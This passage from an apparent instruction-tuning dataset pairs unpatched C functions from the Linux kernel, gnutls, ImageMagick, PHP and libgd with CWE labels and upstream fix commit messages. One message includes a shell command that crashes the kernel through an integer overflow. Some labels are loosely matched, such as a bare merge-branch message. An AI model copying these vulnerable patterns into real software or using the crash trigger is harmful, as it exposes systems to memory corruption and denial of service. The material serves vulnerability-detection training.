be\n\t\t\t * allocated without receiving ENOMEM\n\t\t\t */\n\t\t\tINIT_LIST_HEAD(&cpu_buffer->new_pages);\n\t\t\tif (__rb_allocate_pages(cpu_buffer->nr_pages_to_update,\n\t\t\t\t\t\t&cpu_buffer->new_pages, cpu)) {\n\t\t\t\t/* not enough memory for new pages */\n\t\t\t\terr = -ENOMEM;\n\t\t\t\tgoto out_err;\n\t\t\t}\n\t\t}\n\n\t\tget_online_cpus();\n\t\t/*\n\t\t * Fire off all the required work handlers\n\t\t * We can't schedule on offline CPUs, but it's not necessary\n\t\t * since we can change their buffer sizes without any race.\n\t\t */\n\t\tfor_each_buffer_cpu(buffer, cpu) {\n\t\t\tcpu_buffer = buffer->buffers[cpu];\n\t\t\tif (!cpu_buffer->nr_pages_to_update)\n\t\t\t\tcontinue;\n\n\t\t\t/* Can't run something on an offline CPU. */\n\t\t\tif (!cpu_online(cpu)) {\n\t\t\t\trb_update_pages(cpu_buffer);\n\t\t\t\tcpu_buffer->nr_pages_to_update = 0;\n\t\t\t} else {\n\t\t\t\tschedule_work_on(cpu,\n\t\t\t\t\t\t&cpu_buffer->update_pages_work);\n\t\t\t}\n\t\t}\n\n\t\t/* wait for all the updates to complete */\n\t\tfor_each_buffer_cpu(buffer, cpu) {\n\t\t\tcpu_buffer = buffer->buffers[cpu];\n\t\t\tif (!cpu_buffer->nr_pages_to_update)\n\t\t\t\tcontinue;\n\n\t\t\tif (cpu_online(cpu))\n\t\t\t\twait_for_completion(&cpu_buffer->update_done);\n\t\t\tcpu_buffer->nr_pages_to_update = 0;\n\t\t}\n\n\t\tput_online_cpus();\n\t} else {\n\t\t/* Make sure this CPU has been intitialized */\n\t\tif (!cpumask_test_cpu(cpu_id, buffer->cpumask))\n\t\t\tgoto out;\n\n\t\tcpu_buffer = buffer->buffers[cpu_id];\n\n\t\tif (nr_pages == cpu_buffer->nr_pages)\n\t\t\tgoto out;\n\n\t\tcpu_buffer->nr_pages_to_update = nr_pages -\n\t\t\t\t\t\tcpu_buffer->nr_pages;\n\n\t\tINIT_LIST_HEAD(&cpu_buffer->new_pages);\n\t\tif (cpu_buffer->nr_pages_to_update > 0 &&\n\t\t\t__rb_allocate_pages(cpu_buffer->nr_pages_to_update,\n\t\t\t\t\t &cpu_buffer->new_pages, cpu_id)) {\n\t\t\terr = -ENOMEM;\n\t\t\tgoto out_err;\n\t\t}\n\n\t\tget_online_cpus();\n\n\t\t/* Can't run something on an offline CPU. */\n\t\tif (!cpu_online(cpu_id))\n\t\t\trb_update_pages(cpu_buffer);\n\t\telse {\n\t\t\tschedule_work_on(cpu_id,\n\t\t\t\t\t &cpu_buffer->update_pages_work);\n\t\t\twait_for_completion(&cpu_buffer->update_done);\n\t\t}\n\n\t\tcpu_buffer->nr_pages_to_update = 0;\n\t\tput_online_cpus();\n\t}\n\n out:\n\t/*\n\t * The ring buffer resize can happen with the ring buffer\n\t * enabled, so that the update disturbs the tracing as little\n\t * as possible. But if the buffer is disabled, we do not need\n\t * to worry about that, and we can take the time to verify\n\t * that the buffer is not corrupt.\n\t */\n\tif (atomic_read(&buffer->record_disabled)) {\n\t\tatomic_inc(&buffer->record_disabled);\n\t\t/*\n\t\t * Even though the buffer was disabled, we must make sure\n\t\t * that it is truly disabled before calling rb_check_pages.\n\t\t * There could have been a race between checking\n\t\t * record_disable and incrementing it.\n\t\t */\n\t\tsynchronize_sched();\n\t\tfor_each_buffer_cpu(buffer, cpu) {\n\t\t\tcpu_buffer = buffer->buffers[cpu];\n\t\t\trb_check_pages(cpu_buffer);\n\t\t}\n\t\tatomic_dec(&buffer->record_disabled);\n\t}\n\n\tmutex_unlock(&buffer->mutex);\n\treturn size;\n\n out_err:\n\tfor_each_buffer_cpu(buffer, cpu) {\n\t\tstruct buffer_page *bpage, *tmp;\n\n\t\tcpu_buffer = buffer->buffers[cpu];\n\t\tcpu_buffer->nr_pages_to_update = 0;\n\n\t\tif (list_empty(&cpu_buffer->new_pages))\n\t\t\tcontinue;\n\n\t\tlist_for_each_entry_safe(bpage, tmp, &cpu_buffer->new_pages,\n\t\t\t\t\tlist) {\n\t\t\tlist_del_init(&bpage->list);\n\t\t\tfree_buffer_page(bpage);\n\t\t}\n\t}\n\tmutex_unlock(&buffer->mutex);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'ring-buffer: Prevent overflow of size in ring_buffer_resize()\n\nIf the size passed to ring_buffer_resize() is greater than MAX_LONG - BUF_PAGE_SIZE\nthen the DIV_ROUND_UP() will return zero.\n\nHere's the details:\n\n # echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb\n\ntracing_entries_write() processes this and converts kb to bytes.\n\n 18014398509481980 << 10 = 18446744073709547520\n\nand this is passed to ring_buffer_resize() as unsigned long size.\n\n size = DIV_ROUND_UP(size, BUF_PAGE_SIZE);\n\nWhere DIV_ROUND_UP(a, b) is (a + b - 1)/b\n\nBUF_PAGE_SIZE is 4080 and here\n\n 18446744073709547520 + 4080 - 1 = 18446744073709551599\n\nwhere 18446744073709551599 is still smaller than 2^64\n\n 2^64 - 18446744073709551599 = 17\n\nBut now 18446744073709551599 / 4080 = 4521260802379792\n\nand size = size * 4080 = 18446744073709551360\n\nThis is checked to make sure its still greater than 2 * 4080,\nwhich it is.\n\nThen we convert to the number of buffer pages needed.\n\n nr_page = DIV_ROUND_UP(size, BUF_PAGE_SIZE)\n\nbut this time size is 18446744073709551360 and\n\n 2^64 - (18446744073709551360 + 4080 - 1) = -3823\n\nThus it overflows and the resulting number is less than 4080, which makes\n\n 3823 / 4080 = 0\n\nan nr_pages is set to this. As we already checked against the minimum that\nnr_pages may be, this causes the logic to fail as well, and we crash the\nkernel.\n\nThere's no reason to have the two DIV_ROUND_UP() (that's just result of\nhistorical code changes), clean up the code and fix this bug.\n\nCc: stable@vger.kernel.org # 3.5+\nFixes: 83f40318dab00 (\"ring-buffer: Make removal of ring buffer pages atomic\")\nSigned-off-by: Steven Rostedt '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: QUERY_REC *irc_query_find(IRC_SERVER_REC *server, const char *nick)\n{\n\tGSList *tmp;\n\n\tfor (tmp = server->queries; tmp != NULL; tmp = tmp->next) {\n\t\tQUERY_REC *rec = tmp->data;\n\n\t\tif (server->nick_comp_func(rec->name, nick) == 0)\n\t\t\treturn rec;\n\t}\n\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Merge branch 'security' into 'master'\n\nSee merge request !7'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_attribute(cdk_stream_t inp, size_t pktlen, cdk_pkt_userid_t attr,\n\t int name_size)\n{\n\tconst byte *p;\n\tbyte *buf;\n\tsize_t len, nread;\n\tcdk_error_t rc;\n\n\tif (!inp || !attr || !pktlen)\n\t\treturn CDK_Inv_Value;\n\n\tif (DEBUG_PKT)\n\t\t_gnutls_write_log(\"read_attribute: %d octets\\n\",\n\t\t\t\t (int) pktlen);\n\n\t_gnutls_str_cpy(attr->name, name_size, ATTRIBUTE);\n\tattr->len = MIN(name_size, sizeof(ATTRIBUTE) - 1);\n\n\tbuf = cdk_calloc(1, pktlen);\n\tif (!buf)\n\t\treturn CDK_Out_Of_Core;\n\trc = stream_read(inp, buf, pktlen, &nread);\n\tif (rc) {\n\t\tcdk_free(buf);\n\t\treturn CDK_Inv_Packet;\n\t}\n\tp = buf;\n\tlen = *p++;\n\tpktlen--;\n\tif (len == 255) {\n\t\tlen = _cdk_buftou32(p);\n\t\tp += 4;\n\t\tpktlen -= 4;\n\t} else if (len >= 192) {\n\t\tif (pktlen < 2) {\n\t\t\tcdk_free(buf);\n\t\t\treturn CDK_Inv_Packet;\n\t\t}\n\t\tlen = ((len - 192) << 8) + *p + 192;\n\t\tp++;\n\t\tpktlen--;\n\t}\n\n\tif (*p != 1) {\t\t/* Currently only 1, meaning an image, is defined. */\n\t\tcdk_free(buf);\n\t\treturn CDK_Inv_Packet;\n\t}\n\tp++;\n\tlen--;\n\n\tif (len >= pktlen) {\n\t\tcdk_free(buf);\n\t\treturn CDK_Inv_Packet;\n\t}\n\tattr->attrib_img = cdk_calloc(1, len);\n\tif (!attr->attrib_img) {\n\t\tcdk_free(buf);\n\t\treturn CDK_Out_Of_Core;\n\t}\n\tattr->attrib_len = len;\n\tmemcpy(attr->attrib_img, p, len);\n\tcdk_free(buf);\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'opencdk: read_attribute: added more precise checks when reading stream\n\nThat addresses heap read overflows found using oss-fuzz:\n https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=338\n https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=346\n\nSigned-off-by: Nikos Mavrogiannopoulos '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_subpkt(cdk_stream_t inp, cdk_subpkt_t * r_ctx, size_t * r_nbytes)\n{\n\tbyte c, c1;\n\tsize_t size, nread, n;\n\tcdk_subpkt_t node;\n\tcdk_error_t rc;\n\n\tif (!inp || !r_nbytes)\n\t\treturn CDK_Inv_Value;\n\n\tif (DEBUG_PKT)\n\t\t_gnutls_write_log(\"read_subpkt:\\n\");\n\n\tn = 0;\n\t*r_nbytes = 0;\n\tc = cdk_stream_getc(inp);\n\tn++;\n\tif (c == 255) {\n\t\tsize = read_32(inp);\n\t\tn += 4;\n\t} else if (c >= 192 && c < 255) {\n\t\tc1 = cdk_stream_getc(inp);\n\t\tn++;\n\t\tif (c1 == 0)\n\t\t\treturn 0;\n\t\tsize = ((c - 192) << 8) + c1 + 192;\n\t} else if (c < 192)\n\t\tsize = c;\n\telse\n\t\treturn CDK_Inv_Packet;\n\n\tnode = cdk_subpkt_new(size);\n\tif (!node)\n\t\treturn CDK_Out_Of_Core;\n\tnode->size = size;\n\tnode->type = cdk_stream_getc(inp);\n\tif (DEBUG_PKT)\n\t\t_gnutls_write_log(\" %d octets %d type\\n\", node->size,\n\t\t\t\t node->type);\n\tn++;\n\tnode->size--;\n\trc = stream_read(inp, node->d, node->size, &nread);\n\tn += nread;\n\tif (rc) {\n\t\tcdk_subpkt_free(node);\n\t\treturn rc;\n\t}\n\t*r_nbytes = n;\n\tif (!*r_ctx)\n\t\t*r_ctx = node;\n\telse\n\t\tcdk_subpkt_add(*r_ctx, node);\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'opencdk: added error checking in the stream reading functions\n\nThis addresses an out of memory error. Issue found using oss-fuzz:\n https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=337\n\nSigned-off-by: Nikos Mavrogiannopoulos '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType ReadPSDChannelRLE(Image *image,const PSDInfo *psd_info,\n const ssize_t type,MagickOffsetType *sizes,ExceptionInfo *exception)\n{\n MagickBooleanType\n status;\n\n size_t\n length,\n row_size;\n\n ssize_t\n count,\n y;\n\n unsigned char\n *compact_pixels,\n *pixels;\n\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer data is RLE compressed\");\n\n row_size=GetPSDRowSize(image);\n pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n\n length=0;\n for (y=0; y < (ssize_t) image->rows; y++)\n if ((MagickOffsetType) length < sizes[y])\n length=(size_t) sizes[y];\n\n if (length > row_size + 256) // arbitrary number\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowBinaryException(ResourceLimitError,\"InvalidLength\",\n image->filename);\n }\n\n compact_pixels=(unsigned char *) AcquireQuantumMemory(length,sizeof(*pixels));\n if (compact_pixels == (unsigned char *) NULL)\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }\n\n (void) ResetMagickMemory(compact_pixels,0,length*sizeof(*compact_pixels));\n\n status=MagickTrue;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n status=MagickFalse;\n\n count=ReadBlob(image,(size_t) sizes[y],compact_pixels);\n if (count != (ssize_t) sizes[y])\n break;\n\n count=DecodePSDPixels((size_t) sizes[y],compact_pixels,\n (ssize_t) (image->depth == 1 ? 123456 : image->depth),row_size,pixels);\n if (count != (ssize_t) row_size)\n break;\n\n status=ReadPSDChannelPixels(image,psd_info->channels,y,type,pixels,\n exception);\n if (status == MagickFalse)\n break;\n }\n\n compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n return(status);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/350'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void ip6_rt_update_pmtu(struct dst_entry *dst, struct sock *sk,\n\t\t\t struct sk_buff *skb, u32 mtu)\n{\n\tstruct rt6_info *rt6 = (struct rt6_info *)dst;\n\n\tdst_confirm(dst);\n\tif (mtu < dst_mtu(dst) && rt6->rt6i_dst.plen == 128) {\n\t\tstruct net *net = dev_net(dst->dev);\n\n\t\trt6->rt6i_flags |= RTF_MODIFIED;\n\t\tif (mtu < IPV6_MIN_MTU) {\n\t\t\tu32 features = dst_metric(dst, RTAX_FEATURES);\n\t\t\tmtu = IPV6_MIN_MTU;\n\t\t\tfeatures |= RTAX_FEATURE_ALLFRAG;\n\t\t\tdst_metric_set(dst, RTAX_FEATURES, features);\n\t\t}\n\t\tdst_metric_set(dst, RTAX_MTU, mtu);\n\t\trt6_update_expires(rt6, net->ipv6.sysctl.ip6_rt_mtu_expires);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-17'], 'message': 'ipv6: stop sending PTB packets for MTU < 1280\n\nReduce the attack vector and stop generating IPv6 Fragment Header for\npaths with an MTU smaller than the minimum required IPv6 MTU\nsize (1280 byte) - called atomic fragments.\n\nSee IETF I-D \"Deprecating the Generation of IPv6 Atomic Fragments\" [1]\nfor more information and how this \"feature\" can be misused.\n\n[1] https://tools.ietf.org/html/draft-ietf-6man-deprecate-atomfrag-generation-00\n\nSigned-off-by: Fernando Gont \nSigned-off-by: Hagen Paul Pfeifer \nAcked-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static ssize_t k90_show_current_profile(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tchar *buf)\n{\n\tint ret;\n\tstruct usb_interface *usbif = to_usb_interface(dev->parent);\n\tstruct usb_device *usbdev = interface_to_usbdev(usbif);\n\tint current_profile;\n\tchar data[8];\n\n\tret = usb_control_msg(usbdev, usb_rcvctrlpipe(usbdev, 0),\n\t\t\t K90_REQUEST_STATUS,\n\t\t\t USB_DIR_IN | USB_TYPE_VENDOR |\n\t\t\t USB_RECIP_DEVICE, 0, 0, data, 8,\n\t\t\t USB_CTRL_SET_TIMEOUT);\n\tif (ret < 0) {\n\t\tdev_warn(dev, \"Failed to get K90 initial state (error %d).\\n\",\n\t\t\t ret);\n\t\treturn -EIO;\n\t}\n\tcurrent_profile = data[7];\n\tif (current_profile < 1 || current_profile > 3) {\n\t\tdev_warn(dev, \"Read invalid current profile: %02hhx.\\n\",\n\t\t\t data[7]);\n\t\treturn -EIO;\n\t}\n\n\treturn snprintf(buf, PAGE_SIZE, \"%d\\n\", current_profile);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-119'], 'message': 'HID: corsair: fix DMA buffers on stack\n\nNot all platforms support DMA to the stack, and specifically since v4.9\nthis is no longer supported on x86 with VMAP_STACK either.\n\nNote that the macro-mode buffer was larger than necessary.\n\nFixes: 6f78193ee9ea (\"HID: corsair: Add Corsair Vengeance K90 driver\")\nCc: stable \nSigned-off-by: Johan Hovold \nSigned-off-by: Jiri Kosina '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SPL_METHOD(SplObjectStorage, unserialize)\n{\n\tspl_SplObjectStorage *intern = Z_SPLOBJSTORAGE_P(getThis());\n\n\tchar *buf;\n\tsize_t buf_len;\n\tconst unsigned char *p, *s;\n\tphp_unserialize_data_t var_hash;\n\tzval entry, inf;\n\tzval *pcount, *pmembers;\n\tspl_SplObjectStorageElement *element;\n\tzend_long count;\n\n\tif (zend_parse_parameters(ZEND_NUM_ARGS(), \"s\", &buf, &buf_len) == FAILURE) {\n\t\treturn;\n\t}\n\n\tif (buf_len == 0) {\n\t\treturn;\n\t}\n\n\t/* storage */\n\ts = p = (const unsigned char*)buf;\n\tPHP_VAR_UNSERIALIZE_INIT(var_hash);\n\n\tif (*p!= 'x' || *++p != ':') {\n\t\tgoto outexcept;\n\t}\n\t++p;\n\n\tpcount = var_tmp_var(&var_hash);\n\tif (!php_var_unserialize(pcount, &p, s + buf_len, &var_hash) || Z_TYPE_P(pcount) != IS_LONG) {\n\t\tgoto outexcept;\n\t}\n\n\t--p; /* for ';' */\n\tcount = Z_LVAL_P(pcount);\n\n\twhile (count-- > 0) {\n\t\tspl_SplObjectStorageElement *pelement;\n\t\tzend_string *hash;\n\n\t\tif (*p != ';') {\n\t\t\tgoto outexcept;\n\t\t}\n\t\t++p;\n\t\tif(*p != 'O' && *p != 'C' && *p != 'r') {\n\t\t\tgoto outexcept;\n\t\t}\n\t\t/* store reference to allow cross-references between different elements */\n\t\tif (!php_var_unserialize(&entry, &p, s + buf_len, &var_hash)) {\n\t\t\tgoto outexcept;\n\t\t}\n\t\tif (Z_TYPE(entry) != IS_OBJECT) {\n\t\t\tzval_ptr_dtor(&entry);\n\t\t\tgoto outexcept;\n\t\t}\n\t\tif (*p == ',') { /* new version has inf */\n\t\t\t++p;\n\t\t\tif (!php_var_unserialize(&inf, &p, s + buf_len, &var_hash)) {\n\t\t\t\tzval_ptr_dtor(&entry);\n\t\t\t\tgoto outexcept;\n\t\t\t}\n\t\t} else {\n\t\t\tZVAL_UNDEF(&inf);\n\t\t}\n\n\t\thash = spl_object_storage_get_hash(intern, getThis(), &entry);\n\t\tif (!hash) {\n\t\t\tzval_ptr_dtor(&entry);\n\t\t\tzval_ptr_dtor(&inf);\n\t\t\tgoto outexcept;\n\t\t}\n\t\tpelement = spl_object_storage_get(intern, hash);\n\t\tspl_object_storage_free_hash(intern, hash);\n\t\tif (pelement) {\n\t\t\tif (!Z_ISUNDEF(pelement->inf)) {\n\t\t\t\tvar_push_dtor(&var_hash, &pelement->inf);\n\t\t\t}\n\t\t\tif (!Z_ISUNDEF(pelement->obj)) {\n\t\t\t\tvar_push_dtor(&var_hash, &pelement->obj);\n\t\t\t}\n\t\t}\n\t\telement = spl_object_storage_attach(intern, getThis(), &entry, Z_ISUNDEF(inf)?NULL:&inf);\n\t\tvar_replace(&var_hash, &entry, &element->obj);\n\t\tvar_replace(&var_hash, &inf, &element->inf);\n\t\tzval_ptr_dtor(&entry);\n\t\tZVAL_UNDEF(&entry);\n\t\tzval_ptr_dtor(&inf);\n\t\tZVAL_UNDEF(&inf);\n\t}\n\n\tif (*p != ';') {\n\t\tgoto outexcept;\n\t}\n\t++p;\n\n\t/* members */\n\tif (*p!= 'm' || *++p != ':') {\n\t\tgoto outexcept;\n\t}\n\t++p;\n\n\tpmembers = var_tmp_var(&var_hash);\n\tif (!php_var_unserialize(pmembers, &p, s + buf_len, &var_hash) || Z_TYPE_P(pmembers) != IS_ARRAY) {\n\t\tgoto outexcept;\n\t}\n\n\t/* copy members */\n\tobject_properties_load(&intern->std, Z_ARRVAL_P(pmembers));\n\n\tPHP_VAR_UNSERIALIZE_DESTROY(var_hash);\n\treturn;\n\noutexcept:\n\tPHP_VAR_UNSERIALIZE_DESTROY(var_hash);\n\tzend_throw_exception_ex(spl_ce_UnexpectedValueException, 0, \"Error at offset %pd of %d bytes\", (zend_long)((char*)p - buf), buf_len);\n\treturn;\n\n} /* }}} */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Fix bug #73257 and bug #73258 - SplObjectStorage unserialize allows use of non-object as key'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: BGD_DECLARE(gdImagePtr) gdImageCreate (int sx, int sy)\n{\n\tint i;\n\tgdImagePtr im;\n\n\tif (overflow2(sx, sy)) {\n\t\treturn NULL;\n\t}\n\tif (overflow2(sizeof (unsigned char *), sy)) {\n\t\treturn NULL;\n\t}\n\tif (overflow2(sizeof (unsigned char), sx)) {\n\t\treturn NULL;\n\t}\n\n\tim = (gdImage *) gdCalloc(1, sizeof(gdImage));\n\tif (!im) {\n\t\treturn NULL;\n\t}\n\n\t/* Row-major ever since gd 1.3 */\n\tim->pixels = (unsigned char **) gdMalloc (sizeof (unsigned char *) * sy);\n\tif (!im->pixels) {\n\t\tgdFree(im);\n\t\treturn NULL;\n\t}\n\n\tim->polyInts = 0;\n\tim->polyAllocated = 0;\n\tim->brush = 0;\n\tim->tile = 0;\n\tim->style = 0;\n\tfor (i = 0; (i < sy); i++) {\n\t\t/* Row-major ever since gd 1.3 */\n\t\tim->pixels[i] = (unsigned char *) gdCalloc (sx, sizeof (unsigned char));\n\t\tif (!im->pixels[i]) {\n\t\t\tfor (--i ; i >= 0; i--) {\n\t\t\t\tgdFree(im->pixels[i]);\n\t\t\t}\n\t\t\tgdFree(im->pixels);\n\t\t\tgdFree(im);\n\t\t\treturn NULL;\n\t\t}\n\n\t}\n\tim->sx = sx;\n\tim->sy = sy;\n\tim->colorsTotal = 0;\n\tim->transparent = (-1);\n\tim->interlace = 0;\n\tim->thick = 1;\n\tim->AA = 0;\n\tfor (i = 0; (i < gdMaxColors); i++) {\n\t\tim->open[i] = 1;\n\t};\n\tim->trueColor = 0;\n\tim->tpixels = 0;\n\tim->cx1 = 0;\n\tim->cy1 = 0;\n\tim->cx2 = im->sx - 1;\n\tim->cy2 = im->sy - 1;\n\tim->res_x = GD_RESOLUTION;\n\tim->res_y = GD_RESOLUTION;\n\tim->interpolation = NULL;\n\tim->interpolation_id = GD_BILINEAR_FIXED;\n\treturn im;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fix #340: System frozen\n\ngdImageCreate() doesn't check for oversized images and as such is prone\nto DoS vulnerabilities. We fix that by applying the same overflow check\nthat is already in place for gdImageCreateTrueColor().\n\nCVE-2016-9317'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static size_t exif_convert_any_to_int(void *value, int format, int motorola_intel TSRMLS_DC)\n{\n\tint \t\ts_den;\n\tunsigned \tu_den;\n\n\tswitch(format) {\n\t\tcase TAG_FMT_SBYTE: return *(signed char *)value;\n\t\tcase TAG_FMT_BYTE: return *(uchar *)value;\n\n\t\tcase TAG_FMT_USHORT: return php_ifd_get16u(value, motorola_intel);\n\t\tcase TAG_FMT_ULONG: return php_ifd_get32u(value, motorola_intel);\n\n\t\tcase TAG_FMT_URATIONAL:\n\t\t\tu_den = php_ifd_get32u(4+(char *)value, motorola_intel);\n\t\t\tif (u_den == 0) {\n\t\t\t\treturn 0;\n\t\t\t} else {\n\t\t\t\treturn php_ifd_get32u(value, motorola_intel) / u_den;\n\t\t\t}\n\n\t\tcase TAG_FMT_SRATIONAL:\n\t\t\ts_den = php_ifd_get32s(4+(char *)value, motorola_intel);\n\t\t\tif (s_den == 0) {\n\t\t\t\treturn 0;\n\t\t\t} else {\n\t\t\t\treturn php_ifd_get32s(value, motorola_intel) / s_den;\n\t\t\t}\n\n\t\tcase TAG_FMT_SSHORT: return php_ifd_get16u(value, motorola_intel);\n\t\tcase TAG_FMT_SLONG: return php_ifd_get32s(value, motorola_intel);\n\n\t\t/* Not sure if this is correct (never seen float used in Exif format) */\n\t\tcase TAG_FMT_SINGLE:\n#ifdef EXIF_DEBUG\n\t\t\tphp_error_docref(NULL TSRMLS_CC, E_NOTICE, \"Found value of type single\");\n#endif\n\t\t\treturn (size_t)*(float *)value;\n\t\tcase TAG_FMT_DOUBLE:\n#ifdef EXIF_DEBUG\n\t\t\tphp_error_docref(NULL TSRMLS_CC, E_NOTICE, \"Found value of type double\");\n#endif\n\t\t\treturn (size_t)*(double *)value;\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'Fix bug #73737 FPE when parsing a tag format'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void ip4_datagram_release_cb(struct sock *sk)\n{\n\tconst struct inet_sock *inet = inet_sk(sk);\n\tconst struct ip_options_rcu *inet_opt;\n\t__be32 daddr = inet->inet_daddr;\n\tstruct flowi4 fl4;\n\tstruct rtable *rt;\n\n\tif (! __sk_dst_get(sk) || __sk_dst_check(sk, 0))\n\t\treturn;\n\n\trcu_read_lock();\n\tinet_opt = rcu_dereference(inet->inet_opt);\n\tif (inet_opt && inet_opt->opt.srr)\n\t\tdaddr = inet_opt->opt.faddr;\n\trt = ip_route_output_ports(sock_net(sk), &fl4, sk, daddr,\n\t\t\t\t inet->inet_saddr, inet->inet_dport,\n\t\t\t\t inet->inet_sport, sk->sk_protocol,\n\t\t\t\t RT_CONN_FLAGS(sk), sk->sk_bound_dev_if);\n\tif (!IS_ERR(rt))\n\t\t__sk_dst_set(sk, &rt->dst);\n\trcu_read_unlock();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-362', 'CWE-401'], 'message': 'ipv4: fix a race in ip4_datagram_release_cb()\n\nAlexey gave a AddressSanitizer[1] report that finally gave a good hint\nat where was the origin of various problems already reported by Dormando\nin the past [2]\n\nProblem comes from the fact that UDP can have a lockless TX path, and\nconcurrent threads can manipulate sk_dst_cache, while another thread,\nis holding socket lock and calls __sk_dst_set() in\nip4_datagram_release_cb() (this was added in linux-3.8)\n\nIt seems that all we need to do is to use sk_dst_check() and\nsk_dst_set() so that all the writers hold same spinlock\n(sk->sk_dst_lock) to prevent corruptions.\n\nTCP stack do not need this protection, as all sk_dst_cache writers hold\nthe socket lock.\n\n[1]\nhttps://code.google.com/p/address-sanitizer/wiki/AddressSanitizerForKernel\n\nAddressSanitizer: heap-use-after-free in ipv4_dst_check\nRead of size 2 by thread T15453:\n [] ipv4_dst_check+0x1a/0x90 ./net/ipv4/route.c:1116\n [] __sk_dst_check+0x89/0xe0 ./net/core/sock.c:531\n [] ip4_datagram_release_cb+0x46/0x390 ??:0\n [] release_sock+0x17a/0x230 ./net/core/sock.c:2413\n [] ip4_datagram_connect+0x462/0x5d0 ??:0\n [] inet_dgram_connect+0x76/0xd0 ./net/ipv4/af_inet.c:534\n [] SYSC_connect+0x15c/0x1c0 ./net/socket.c:1701\n [] SyS_connect+0xe/0x10 ./net/socket.c:1682\n [] system_call_fastpath+0x16/0x1b\n./arch/x86/kernel/entry_64.S:629\n\nFreed by thread T15455:\n [] dst_destroy+0xa8/0x160 ./net/core/dst.c:251\n [] dst_release+0x45/0x80 ./net/core/dst.c:280\n [] ip4_datagram_connect+0xa1/0x5d0 ??:0\n [] inet_dgram_connect+0x76/0xd0 ./net/ipv4/af_inet.c:534\n [] SYSC_connect+0x15c/0x1c0 ./net/socket.c:1701\n [] SyS_connect+0xe/0x10 ./net/socket.c:1682\n [] system_call_fastpath+0x16/0x1b\n./arch/x86/kernel/entry_64.S:629\n\nAllocated by thread T15453:\n [] dst_alloc+0x81/0x2b0 ./net/core/dst.c:171\n [] rt_dst_alloc+0x47/0x50 ./net/ipv4/route.c:1406\n [< inlined >] 